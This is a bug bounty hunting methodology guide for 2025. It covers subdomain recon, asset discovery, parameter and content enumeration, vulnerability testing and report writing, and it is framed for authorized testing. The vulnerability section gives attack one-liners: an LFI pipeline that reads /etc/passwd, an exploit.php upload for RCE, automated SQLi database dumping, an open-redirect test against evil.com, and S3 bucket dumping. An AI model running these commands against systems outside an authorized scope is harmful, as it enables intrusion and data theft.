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Methodology 2025

Bug Bounty Hunting Methodology 2025

Welcome to the Bug Bounty Methodology 2025 Edition! This methodology is a basic guide to help you kickstart your bug bounty journey. It outlines the essential steps to navigate your target effectively, but the real challenge lies in identifying high-impact vulnerabilities through your own skills and creativity. This methodology will be updated regularly as new and interesting techniques emerge to enhance your testing process. ## 📜 Table of Contents

Section
Description

1. Reconnaissance

Subdomain Enumeration & Initial Scanning

2. Discovery

HTTP Probing & Asset Discovery

3. Enumeration

Advanced Techniques & Parameter Discovery

4. Testing

Vulnerability Assessment

5. Two-Eye Approach

What is that?

6. POC Creation

Documentation & Evidence

7. Reporting

Final Documentation

1. Reconnaissance and Subdomain Enumeration

1.1 Passive Subdomain Enumeration

🛠️Tools: Subfinder, Amass, CRTSH, Github-Search

Subfinder

subfinder -d target.com -silent -all -recursive -o subfinder_subs.txt

Amass (Passive Mode)

amass enum -passive -d target.com -o amass_passive_subs.txt

CRT.sh Query

curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | anew crtsh_subs.txt

Github Dorking

github-subdomains -d target.com -t YOUR_GITHUB_TOKEN -o github_subs.txt

Results Combination

cat *_subs.txt | sort -u | anew all_subs.txt

1.2 Active Subdomain Enumeration

🛠️Tools: MassDNS, Shuffledns, DNSX, SubBrute, FFuF

MassDNS

massdns -r resolvers.txt -t A -o S -w massdns_results.txt wordlist.txt

Shuffledns

shuffledns -d target.com -list all_subs.txt -r resolvers.txt -o active_subs.txt

DNSX Resolution

dnsx -l active_subs.txt -resp -o resolved_subs.txt

SubBrute

python3 subbrute.py target.com -w wordlist.txt -o brute_force_subs.txt

FFuF Subdomain

ffuf -u https://FUZZ.target.com -w wordlist.txt -t 50 -mc 200,403 -o ffuf_subs.txt

1.3 Handling Specific (Non-Wildcard) Targets

🛠️Tools: GAU, Waybackurls, Katana, Hakrawler

GAU

gau target.example.com | anew gau_results.txt

Waybackurls

waybackurls target.example.com | anew wayback_results.txt

Katana

katana -u target.example.com -silent -jc -o katana_results.txt

Hakrawler

echo "https://target.example.com" | hakrawler -depth 2 -plain -js -out hakrawler_results.txt

Additional Advanced Techniques

🛠️Tools: CloudEnum, AWSBucketDump, S3Scanner

Reverse DNS

dnsx -ptr -l resolved_subs.txt -resp-only -o reverse_dns.txt

ASN Enumeration

amass intel -asn <ASN_NUMBER> -o asn_results.txt

Cloud Asset Enumeration

cloud_enum -k target.com

Results Validation

cat all_subs.txt | httpx -silent -title -o live_subdomains.txt

2. Discovery and Probing

2.1 HTTP Probing

🛠️Tools: httpx, httprobe

HTTPX Probing

httpx -l resolved_subs.txt -p 80,443,8080,8443 -silent -title -sc -ip -o live_websites.txt

Custom Filtering

cat live_websites.txt | grep -i "login\|admin" | tee login_endpoints.txt

2.2 JavaScript Analysis

🛠️Tools: LinkFinder, subjs, JSFinder, GF

JS Extraction

cat live_websites.txt | waybackurls | grep "\.js" | anew js_files.txt

LinkFinder Analysis

python3 linkfinder.py -i js_files.txt -o js_endpoints.txt

Sensitive Pattern Search

cat js_files.txt | gf aws-keys | tee aws_keys.txt
cat js_files.txt | gf urls | tee sensitive_urls.txt

API Key Validation

curl -X GET "https://api.example.com/resource" -H "Authorization: Bearer <extracted_key>"

2.3 Advanced Google Dorking

🛠️Tools: GitDorker

Automated Dorking

python3 GitDorker.py -tf <github_token.txt> -q target.com -d dorks.txt -o git_dorks_output.txt

Admin/Login Files

site:*.example.com inurl:"*admin | login" | inurl:.php | .asp

Config Files

site:*.example.com ext:env | ext:yaml | ext:ini

Public Keys

site:*.example.com inurl:"id_rsa.pub" | inurl:".pem"

2.4 URL Discovery

🛠️Tools: Katana, Gospider, Hakrawler

Katana Crawling

katana -list live_websites.txt -jc -o katana_urls.txt

Gospider

gospider -s "https://target.com" -d 2 -o gospider_output/

Hakrawler

echo "https://target.com" | hakrawler -depth 3 -plain -out hakrawler_results.txt

2.5 Archive Enumeration

🛠️Tools: GAU, Waybackurls, ParamSpider

Archive URL Collection

gau --subs target.com | anew archived_urls.txt
waybackurls target.com | anew wayback_urls.txt

Parameter Extraction

cat archived_urls.txt | grep "=" | anew parameters.txt

3. Advanced Enumeration Techniques

3.1 Parameter Discovery

🛠️Tools: Arjun, ParamSpider, FFuF

Arjun Parameter Discovery

arjun -u "https://target.example.com" -m GET,POST --stable -o params.json

ParamSpider Web Parameters

python3 paramspider.py --domain target.com --exclude woff,css,js --output paramspider_output.txt

FFuF Parameter Bruteforce

ffuf -u https://target.com/page.php?FUZZ=test -w /usr/share/wordlists/params.txt -o parameter_results.txt

3.2 Cloud Asset Enumeration

🛠️Tools: CloudEnum, AWSBucketDump, S3Scanner

Cloud Bucket Enumeration

cloud_enum -k target.com -b buckets.txt -o cloud_enum_results.txt

S3 Bucket Access Test

aws s3 ls s3://<bucket_name> --no-sign-request

S3 Bucket Content Dump

python3 AWSBucketDump.py -b target-bucket -o dumped_data/

3.3 Content Discovery

🛠️Tools: Feroxbuster, FFuF, Dirsearch

Feroxbuster

feroxbuster -u https://target.com -w /usr/share/wordlists/common.txt -r -t 20 -o recursive_results.txt

Dirsearch

dirsearch -u https://target.com -w /usr/share/wordlists/content_discovery.txt -e php,html,js,json -x 404 -o dirsearch_results.txt

FFuF Recursive

ffuf -u https://target.com/FUZZ -w /usr/share/wordlists/content_discovery.txt -mc 200,403 -recursion -recursion-depth 3 -o ffuf_results.txt

3.4 API Enumeration

🛠️Tools: Kiterunner, Postman, Burp Suite

Kiterunner

kr scan https://api.target.com -w /usr/share/kiterunner/routes-large.kite -o api_routes.txt

3.5 ASN Mapping

🛠️Tools: Amass, Shodan, Censys

ASN Lookup

amass intel -asn <ASN_Number> -o asn_ips.txt

Shodan Enumeration

shodan search "net:<ip_range>" --fields ip_str,port --limit 100

Censys Asset Search

censys search "autonomous_system.asn:<ASN_Number>" -o censys_assets.txt

4. Vulnerability Testing

4.1 High-Priority Vulnerabilities

🐞CSRF Testing

cat live_websites.txt | gf csrf | tee csrf_endpoints.txt

🐞LFI Testing

cat live_websites.txt | gf lfi | qsreplace "/etc/passwd" | xargs -I@ curl -s @ | grep "root:x:" > lfi_results.txt

🐞RCE Testing

curl -X POST -F "file=@exploit.php" https://target.com/upload

🐞SQLi Testing

ghauri -u "https://target.com?id=1" --dbs --batch

🐞Sensitive Data Search

cat js_files.txt | grep -Ei "key|token|auth|password" > sensitive_data.txt

🐞Open Redirect Test

cat urls.txt | grep "=http" | qsreplace "https://evil.com" | xargs -I@ curl -I -s @ | grep "evil.com"

5. The "Two-Eye" Approach 👀

  1. First Eye: Focus on testing every gathered subdomain, endpoint, or parameter for common vulnerabilities.

  2. Second Eye: Identify “interesting” findings like exposed credentials, forgotten subdomains, or admin panels.

Actionable Steps:

  • If a vulnerability is identified, create a proof of concept (POC) and test its impact.

  • If no vulnerabilities are found, pivot to deeper testing on unique subdomains or endpoints.

6. Proof of Concept (POC) Creation

🎥Video POC

Demonstrate vulnerabilities in action using screen recording tools like Greenshot or OBS Studio.

📸Screenshot POC

Capture clear screenshots with annotations to explain each step.

  • 🛠️Tool: Greenshot.

7. Reporting

📝Report Structure

  1. Executive Summary

    • Target Scope

    • Testing Timeline

    • Key Findings Summary

    • Risk Ratings

  2. Technical Details

    • Vulnerability Title

    • Severity Rating

    • Affected Components

    • Technical Description

    • Steps to Reproduce

    • Impact Analysis

    • Supporting Evidence (POC)

  3. Remediation

    • Detailed Recommendations

    • Mitigation Steps

    • Additional Security Controls

    • References & Resources

  4. Supporting Materials

    • Video Demonstrations

    • Screenshots & Annotations

    • HTTP Request/Response Logs

    • Code Snippets

    • Timeline of Discovery

Best Practices

  • Write clear, concise descriptions

  • Include detailed reproduction steps

  • Provide actionable remediation advice

  • Support findings with evidence

  • Use professional formatting

  • Highlight business impact

  • Include verification steps

Report Format

# Vulnerability Report: [Title]

## Overview
- Severity: [Critical/High/Medium/Low]
- CVSS Score: [Score]
- Affected Component: [Component]

## Description
[Detailed technical description]

## Steps to Reproduce
1. [Step 1]
2. [Step 2]
3. [Step n...]

## Impact
[Business and technical impact]

## Proof of Concept
[Screenshots, videos, code]

## Recommendations
[Detailed fix recommendations]

## References
[CVE, CWE, related resources]

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